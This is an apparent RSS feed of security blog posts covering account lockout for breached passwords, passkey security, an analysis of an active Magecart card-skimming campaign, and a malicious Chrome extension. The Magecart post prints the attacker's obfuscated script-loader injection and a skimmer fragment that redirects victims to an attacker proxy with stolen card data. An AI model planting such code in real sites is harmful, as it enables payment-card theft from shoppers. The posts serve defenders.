720px"></figure><p></p><p>This is something that we already do and we will notify users if they login with a password that has been breached since they started using it. This is a great feature, and something that we&apos;ve had for a long time, but it doesn&apos;t quite go far enough. If an attacker has your password and is able to login to your account, there&apos;s a good chance that they&apos;re probably going to ignore this warning and then continue with whatever it is they want to do! What we need to do is immediately suspend your account if we detect a login has occurred with a compromised password.</p><p></p><h3 id="the-new-account-lockout-process">The new account lockout process</h3><p>If you now complete a new authentication to your Report URI account, using a password that has become known to have been breached, your account will be immediately locked and will require a password reset to gain access. There is always a balance to strike with account lockouts because any automated lockout process can introduce Denial-of-Service considerations. In this case, we&apos;re only taking action when the submitted password is already known to be compromised, which means the account is already at material risk. We think requiring a password reset is the safer outcome.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-14.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="488" height="529"></figure><p></p><p>This gives us stronger protection so that if your password later appears in a breach or info-steal dataset, once that password is flagged as having been breached, you know that nobody will be able to use it to gain access to your account.</p><p></p><h3 id="service-wide-improvements">Service-wide improvements</h3><p>Alongside the new automated process above, we have also added new controls to our staff admin portal that allow for the quick and easy locking of an account should it be required. In a recent example, which was what actually triggered this whole response, we had someone email us claiming to have breached our database and accessed user credentials. I knew this was nonsense right away because we don&apos;t store passwords in a recoverable format, but this could cause quite a panic if you were to receive a similar email. The email addresses matched Report URI accounts, and when we checked a small sample through our normal authentication flow, the passwords were valid too. I was able to quickly identify that these emails and passwords had been taken from the <a href="https://haveibeenpwned.com/breach/AlienStealerLogs?ref=scotthelme.ghost.io" rel="noreferrer">ALIEN TXTBASE Info Stealer</a> and were being re-purposed to make it look like we had been breached. The scale of these datasets is enormous. HIBP describes ALIEN TXTBASE as containing 23 billion rows of stealer-log data, including email addresses, the websites they were entered into, and the passwords used. It&apos;s worth knowing about threats like these for when/if you ever find yourself on the receiving end of such an email. We were able to use our new capability to instantly lock these accounts and protect them, requiring the user to reset their password before gaining access again.</p><p></p><h3 id="future-considerations">Future considerations</h3><p>Another persistent threat from info-stealer malware like this is if the malware steals the session cookie of an authenticated session. This presents a completely different set of challenges and is also something that we&apos;re aware of and working on for a future update. For now, I wanted to share this information of what recently happened to us, what we&apos;ve done about it to improve, and what you can do about it if it happens to you.</p><p></p><h3 id="what-should-users-do">What should users do?</h3><p>If you receive a password reset notification from us, complete the reset and make sure the new password is unique to Report URI. We also strongly recommend enabling 2FA, using a password manager, and checking any affected device for malware. If your password came from an info-stealer log, changing the password alone may not be enough if the device is still compromised.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Security considerations when using Passkeys on your website]]></title>
                <description><![CDATA[<p>Passkeys are awesome and that&apos;s why we implemented them on Report URI! You can <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we&apos;re going to focus on what security considerations you should have</p>]]></description>
                <link>https://scotthelme.ghost.io/security-considerations-when-using-passkeys-on-your-website/</link>
                <guid isPermaLink="false">697a56f703d4840001b00ea1</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[XSS]]></category>
                <category><![CDATA[CSP]]></category>
                <category><![CDATA[Permissions Policy]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 22 Apr 2026 13:37:22 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg" alt="Security considerations when using Passkeys on your website"><p>Passkeys are awesome and that&apos;s why we implemented them on Report URI! You can <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we&apos;re going to focus on what security considerations you should have once you start using Passkeys and we&apos;ve produced a whitepaper for you to take away that contains valuable information.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="what-passkeys-actually-protect">What passkeys actually protect</h3><p>Passkeys are built on WebAuthn and use asymmetric cryptography, offering some incredibly strong protections. The user&#x2019;s device generates a key pair, the public key is registered with a service like <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, and the private key remains protected on the device, often inside secure hardware like a TPM. During authentication, the server issues a challenge and the device signs it after &apos;user verification&apos;, typically biometrics or a PIN. This model gives passkeys some very strong security properties! </p><p>First, there is no shared secret for an attacker to steal from the server and replay elsewhere because only the public key is stored with the service. This means that Report URI isn&apos;t storing anything sensitive related to Passkeys.</p><p>Second, the credential is bound to the correct origin, which makes phishing dramatically less effective. The browser or other device that registered the Passkey knows exactly where it was registered, so a user can&apos;t be tricked into using it in the wrong place.</p><p>Third, each authentication is challenge-based, which prevents replay, so even if an attacker could capture an authentication flow, it couldn&apos;t be used again later.</p><p>Fourth and finally, the private key is not exposed to JavaScript running in the page! &#x1F389;</p><p>All of that is awesome and each point provides valuable protection. If your threat model includes password reuse, credential stuffing, password spraying, or fake login pages, then Passkeys are a direct and effective improvement.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/user-key-duotone-solid-1.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="where-the-threat-model-shifts">Where the threat model shifts</h3><p>What passkeys do not do is make the authenticated application trustworthy by default. Once the user has successfully authenticated, most applications establish a session using a cookie or token (probably a cookie). The Passkey is helping to solve the problem of reliably authenticating the user, but once that step is complete, we&apos;re still falling back to a traditional cookie! Strong passwords, 2FA, Passkeys, and everything else we do all still end up with a cookie(?!). </p><p>The question then remains &quot;Can the attacker abuse the authenticated state?&quot;, and this is where traditional attacks like XSS and CSRF remain a real threat. Let&apos;s look at a few examples of the kind of things that can go wrong:</p><p>The first is &quot;session hijacking&quot; (sometimes called &quot;session riding&quot;). If session tokens are accessible, XSS may steal them. Even if they are protected with <code>HttpOnly</code>, malicious code can still perform actions inside the victim&#x2019;s authenticated browser without needing to extract the cookie itself!</p><p>The second is malicious passkey registration. Let&apos;s be crystal clear, XSS cannot extract the victim&#x2019;s private key or forge WebAuthn responses, but it may still be used to manipulate the user into approving registration of a passkey in an attacker-controlled environment. That creates persistence without breaking WebAuthn itself.</p><p>The third is transaction manipulation. This is one of the clearest examples of the gap between strong authentication and trustworthy application behaviour. A user may authenticate securely with a Passkey, but malicious JavaScript can still alter transaction parameters in the page or intercept API requests before submission. The user thinks they approved one action, while the application processes another, and we had probably the best example ever of that with the <a href="https://www.bbc.co.uk/news/articles/c2kgndwwd7lo?ref=scotthelme.ghost.io" rel="noreferrer">ByBit hack that cost them $1.4 billion dollars</a>!</p><p>To clarify, none of these are Passkey failures, they&apos;re application failures, but a good example of the risks that remain.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/square-js-brands-solid.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="defence-in-depth">Defence in depth! </h3><p>Especially after deploying Passkeys, we should continue to maintain a strong focus on protecting against XSS (Cross-Site Scripting). We saw that yet again XSS was the <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">#1 Top Threat of 2025</a>, so we still have a little way to go here, but nonetheless, there&apos;s a lot we can do! Tactics like context-aware output encoding, avoiding dangerous DOM sinks, validating and sanitising input, and using modern frameworks safely should all feature high on your list of protections. Finally, of course, is Content Security Policy. A strict CSP is one of the strongest controls available for reducing the exploitability of XSS and acts as your final line of defence before bad things happen. Blocking inline scripts, restricting script sources, and removing dangerous execution paths like <code>eval()</code>, all materially improve your resilience. CSP will not compensate for insecure code, and it isn&apos;t meant to, but it can significantly constrain what an attacker can do.</p><p>Following on from a robust CSP, we have Permissions Policy, which is often overlooked. In Passkeys-enabled applications, restricting access to <code>publickey-credentials-get</code> and <code>publickey-credentials-create</code> allows us to control access to WebAuthn API / Credential Management calls. Permissions Policy does not prevent injection, but it does reduce the capabilities available to injected code and helps enforce least privilege across pages and origins. A simple config might look like this delivered as a HTTP response header:</p><p></p><pre><code class="language-`">Permissions-Policy: publickey-credentials-create=(self), publickey-credentials-get=(self)</code></pre><p></p><p>Then there is security of the cookie itself. I wrote about this all the way back in 2017 in a blog post called <a href="https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io" rel="noreferrer">Tough Cookies</a>, but here&apos;s a quick summary for you. Session cookies should be <code>HttpOnly</code>, <code>Secure</code>, have an appropriate <code>SameSite</code> policy and use at least the <code>__Secure-</code> prefix (or <code>__Host-</code> prefix where possible).</p><p>Finally, sensitive actions need stronger guarantees than &#x201C;the user has an active session&#x201D;. High-risk operations such as transferring money, changing recovery settings, or managing credentials should require a fresh authentication challenge to ensure that the user is the one at the keyboard initiating the action.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/fort-sharp-duotone-solid.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="read-our-whitepaper">Read our whitepaper</h3><p>If you want more information to really understand the threats that exist in a Passkeys enabled environment, you can download a copy of our white paper that contains detailed information on the problem and the solutions. You can find the white paper on our Passkeys solutions page: <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io">https://report-uri.com/solutions/passkeys_protection</a></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Fighting an active Magecart Campaign]]></title>
                <description><![CDATA[<p>We&#x2019;ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What</p>]]></description>
                <link>https://scotthelme.ghost.io/fighting-an-active-magecart-campaign/</link>
                <guid isPermaLink="false">69d3d19ad459c7000106a3c5</guid>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 13 Apr 2026 10:48:19 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png" alt="Fighting an active Magecart Campaign"><p>We&#x2019;ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What we found was a live payment skimmer injecting fake payment forms, stealing card data, and adapting its exfiltration flow when defensive controls got in the way.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png 681w"></a></figure><p></p><h3 id="the-magecart-threat">The Magecart Threat</h3><p>If you&apos;re not familiar with Magecart, we have a <a href="https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io" rel="noreferrer">dedicated solutions page</a> for it on the Report URI website where you can read more details, but here&apos;s the TLDR;</p><p><em>Attackers find a way to run malicious JavaScript in your site, then use it to steal payment data entered by your visitors.</em></p><p>It is one of the most dangerous forms of client-side compromise because it often leaves little visible trace for the site owner while quietly capturing highly sensitive information.</p><p></p><h3 id="the-initial-compromise">The initial compromise</h3><p>There are many ways that you may initially be compromised, from a traditional XSS attack through to a supply chain compromise, but really, it doesn&apos;t matter how they get their malicious JavaScript in, once the attackers have JS on your page, you have a big problem.</p><p>The recent attack we&apos;ve been tracking starts with this, a simple script injection in <code>&lt;head&gt;</code>, which I&apos;ve prettified here for you.</p><p></p><pre><code class="language-js ">  !function(e, a, n, t, o, r, c) {
        e.GoogleTagManagerLoaderScript = o;        // sets window.GoogleTagManagerLoaderScript = &quot;always&quot;
        r = a.createElement(t),                    // creates a &lt;script&gt; element
        c = a.getElementsByTagName(t)[0],          // finds first &lt;script&gt; in page
        r.async = 1,                               // async load
        r.src = e.atob(&quot;*snip base64*&quot;),           // decodes base64 URL &#x2192; script source
        c.parentNode.insertBefore(r, c)            // injects before first script tag
      }(window, document, 0, &quot;script&quot;, &quot;always&quot;);</code></pre><p></p><p></p><p>What makes this especially effective is how ordinary it looks. Anyone who has spent time inspecting the DOM will have seen almost this exact pattern before. It deliberately mimics the real GTM loader: the same argument structure, the same DOM insertion technique, and the same overall shape. The key difference is that instead of loading <code>gtm.js</code>, it base64-decodes a malicious URL at runtime and injects attacker-controlled JavaScript instead.</p><p>If you base64 decode the URL, it points to a new domain, registered for these attacks, and serves specific payloads on a per-target basis depending on the site name in the path component. Here&apos;s a screenshot of the malware payload:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="1301" height="817" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png 1301w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="targeted-attack">Targeted attack</h3><p>Because the payload is customised per target, it includes a number of more advanced behaviours:</p><p></p><p><strong>Admin detection</strong> - before running, the script uses various techniques to detect if the current site visitor is a WordPress, Magento, PrestaShop, or OpenCart administrator, and if they are, it silently exits. This is a deliberate evasion technique so that store owners who are testing their own site will not see any malicious behaviour.</p><p><strong>Anti-debugging</strong> - the script times a debugger statement using <code>performance.now()</code> and if the elapsed time exceeds the set threshold, indicating a debugger is attached, it sets a flag in <code>localStorage</code> and permanently disables the malware in that browser by setting the <code>already_checked</code> flag.</p><p><strong>Platform fingerprinting</strong> - the script identifies if the ecommerce platform in use is one of WooCommerce, Magento, OpenCart, or PrestaShop, and then applies the correct field selectors and event hooks for that specific platform.</p><p></p><p>This is not a generic opportunistic skimmer. It is a targeted and more capable malware payload designed to evade detection and adapt to the environment it lands in.</p><p></p><h3 id="skimmer-activation">Skimmer activation</h3><p>Once the skimmer is active on a checkout page, it injects a fake payment form into the page, styled to match the original payment form exactly. It will then hook all of the form inputs and select fields which are written to <code>localStorage</code> as the user interacts with them. The submission of the form is then intercepted and the stolen data is exfiltrated, both with a variety of methods depending on the platform being used. One way or another, the skimmer is going to try and grab the data and then exfiltrate it to the drop server controlled by the attackers! But it&apos;s this final part that caught my eye...</p><p></p><h3 id="the-csp-bypass">The CSP Bypass</h3><p>One detail stood out in the payload: the malware explicitly contained logic labelled as a &#x201C;CSP bypass&#x201D;. In reality, this was not a direct defeat of CSP enforcement so much as an adaptive theft technique. When direct exfiltration looked risky, the malware redirected the victim to attacker-controlled infrastructure with the stolen payment data embedded in the URL, then bounced them back to the legitimate site.</p><p></p><pre><code class="language-js">  if(_0x4bb993[&apos;enableCspBypass&apos;]&amp;&amp;_0x4bb993[&apos;cspProxyUrl&apos;]) {
        _0x2a3ee8()&amp;&amp;(console[&apos;log&apos;](&apos;[CSP BYPASS] Redirecting to proxy page...&apos;),console[&apos;log&apos;](&apos;[CSP\x20BYPASS]\x20Proxy\x20URL:&apos;,_0x4bb993[&apos;cspProxyUrl&apos;]),console[&apos;log&apos;](&apos;[CSP BYPASS] Data (base64):&apos;,_0xb0be14));
        localStorage[&apos;setItem&apos;](&apos;already_checked&apos;,&apos;1&apos;);
        const _0x210768=_0x4bb993[&apos;cspProxyUrl&apos;]+&apos;?data=&apos;+encodeURIComponent(_0xb0be14);
        window[&apos;location&apos;][&apos;href&apos;]=_0x210768;
        return;
      }</code></pre><p></p><p></p><p>In other words, the malware was adapting its exfiltration path when it detected an environment where CSP might make a more direct route less reliable. It captured the form submission, encoded the stolen payment data, and sent the victim through attacker infrastructure using <code>window.location.href</code>, with the data passed in the request before returning them to the real site.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="1212" height="237" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png 1212w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The attacker now has the stolen credit card data and the endpoint then redirects the user back to the correct page on the target site, making the process completely invisible to the user. Here&apos;s a payment I tried to submit using fake credit card details on the live site:</p><p></p><pre><code class="language-json">{
      &quot;domain&quot;:&quot;https://www.*snip*.com&quot;,
      &quot;data&quot; : {
        &quot;uagent&quot;:&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36&quot;,
        &quot;card&quot;:&quot;4242424242424242&quot;,
        &quot;exp&quot;:&quot;03/27&quot;,
        &quot;cvv&quot;:&quot;144&quot;
      }
    }</code></pre><p></p><p></p><p>Calling this a &#x201C;CSP bypass&#x201D; is slightly misleading. The more important lesson is that once hostile JavaScript is running in the browser, attackers still have a great deal of flexibility in how they capture and move stolen data. That adaptability is exactly what makes these attacks so dangerous.</p><p></p><h3 id="ongoing-threat">Ongoing threat</h3><p>This campaign is still ongoing. While we continue working to understand the wider impact, our visibility naturally allows us to notify only a subset of potentially affected organisations directly. By publishing these findings, and reporting the infrastructure involved, we hope to help defenders identify and disrupt the campaign more broadly.</p><p></p><h3 id="what-defenders-should-do-now">What defenders should do now</h3><p>If you run an ecommerce site, there are a few immediate checks worth making:</p><ul><li>Review any recent changes to scripts loaded on checkout and payment pages.</li><li>Search logs, telemetry, and browser-side monitoring data for requests involving <code>styleoutsperee.com</code>.</li><li>Investigate unexpected redirects or unusual navigation during payment submission flows.</li><li>Check whether any third-party or injected JavaScript could have accessed payment form fields in the browser.</li></ul><p>Even when the server-side environment looks clean, browser-side visibility can reveal malicious behaviour that would otherwise go unnoticed.</p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>Here are the details:</p><p>Domain: <code>styleoutsperee.com</code> (registered 15th Feb 2026)<br></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>. Our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry almost immediately.</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js" integrity="sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <!--kg-card-end: html-->
    ]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser]]></title>
                <description><![CDATA[<p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png" class="kg-image" alt loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w"></a></figure><p></p><p>Even though</p>]]></description>
                <link>https://scotthelme.ghost.io/amazing-refresh-a-malicious-chrome-extension-running-malware-in-the-browser/</link>
                <guid isPermaLink="false">69d391eed459c7000106a2f7</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[javascript]]></category>
                <category><![CDATA[malware]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 07 Apr 2026 15:05:57 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser"><p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w"></a></figure><p></p><p>Even though the customers&apos; website and supply chain were not compromised, the browser was still executing unauthorised JavaScript in the context of their site. That meant we could still see it. From the website owner&#x2019;s point of view, this is outsourced client-side compromise: your visitors can be manipulated, redirected, and monetised while they are on your site, and you may never know it is happening.</p><p></p><h3 id="how-we-do-it">How we do it</h3><p>We collect and process a huge volume of telemetry data at Report URI, and sometimes that data reveals serious problems. Our main goal is to identify malicious behaviour in the JavaScript running on our customers&#x2019; websites, often introduced by traditional attacks like XSS or, more recently, supply-chain compromise. Sometimes, though, the malicious code does not come from the site or its supply chain at all. It comes from the client.</p><p></p><h3 id="browser-extensions">Browser Extensions</h3><p>The <em>only</em> browser extension that I run is the 1Password extension to integrate with my password manager, that&apos;s it. I do not run, and will not run, any other browser extension simply because they terrify me. I don&apos;t feel like many people fully understand the access to your data that a browser extension has. The ability to see what&apos;s on the page, see what you&apos;re typing, change what you see, interact with the DOM, and so much more. Browser extensions are effectively all-powerful and can do almost whatever they want. That&apos;s awesome when they provide legitimate, useful functionality, but you have a really big problem when the extension wants to do something less noble.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-4.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="537" height="170"></figure><p></p><h3 id="amazing-refresh">Amazing Refresh</h3><p>Amazing Refresh presents itself as a simple tab auto-refresher, allowing users to set pages to automatically reload at a defined interval. While this functionality is real and works as advertised, it serves primarily as cover for a sophisticated malware operation running silently in the background.</p><p>Every time a user navigates to any page in any tab, the extension fires a POST request to <code>api.amazingrefresh.com/v1/reload</code>, exfiltrating:</p><ul><li>The current page URL</li><li>The previous page URL (tracking navigation paths across sites)</li><li>Window dimensions and user agent</li><li>Every element ID present on the page</li><li>A unique client identifier tied to the user&apos;s Google Analytics profile</li></ul><p></p><p>Here&apos;s a screenshot of the behaviour firing the request in my local Sandbox.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="1609" height="993" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/Screenshot-2026-04-06-120803.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/Screenshot-2026-04-06-120803.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/Screenshot-2026-04-06-120803.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png 1609w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="script-injection">Script injection</h3><p>The extension injects a <code>&lt;script&gt;</code> tag directly into every page the user visits, running in the MAIN world &#x2014; the same execution context as the page itself, bypassing Chrome&apos;s content script sandbox. The script injected is whatever URL the C&amp;C server has most recently instructed it to use, stored in <code>chrome.storage.local</code>.</p><p>The default fallback script bundled with the extension (<code>js/reload_helper.js</code>) suppresses <code>beforeunload</code> dialog prompts &#x2014; the &quot;are you sure you want to leave?&quot;<br>browser warnings. This is not accidental; it exists to make redirects performed by the injected payload seamless and invisible to the user. It&apos;s these script injections and external communications to GA that we were detecting and alerting on at Report URI.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="1355" height="547" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png 1355w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="the-malicious-payload">The malicious payload</h3><p>The remotely-delivered script that we observed being served from <code>amazingrefresh.com/js/reload_helper.js</code> is a sophisticated affiliate hijacker that steps through the following process at the time of inspection:</p><p></p><ol><li>Geolocates the user via <code>meetlookup.com</code></li><li>Fetches a list of affiliate domains from a CDN (<code>1752680588.rsc.cdn77.org</code>)</li><li>Intercepts all link clicks on the page</li><li>When a clicked link matches a known affiliate domain, redirects it through <code>advertisingshubb.com/pg/</code> &#x2014; an affiliate tracking gateway &#x2014; monetising the click<br>without the knowledge of the user or website owner</li><li>Uses cookies to track which offers have been shown and clicked, with deduplication logic to avoid repeat redirects to the same offer</li><li>Selects and prioritises offers based on the user&apos;s country, custom rates, PPS and PPL values</li></ol><p></p><h3 id="evasion-techniques">Evasion techniques</h3><p>The browser extension and its behaviour are deliberately designed to avoid detection, which makes sense, and is likely how it has managed to get to almost 100,000 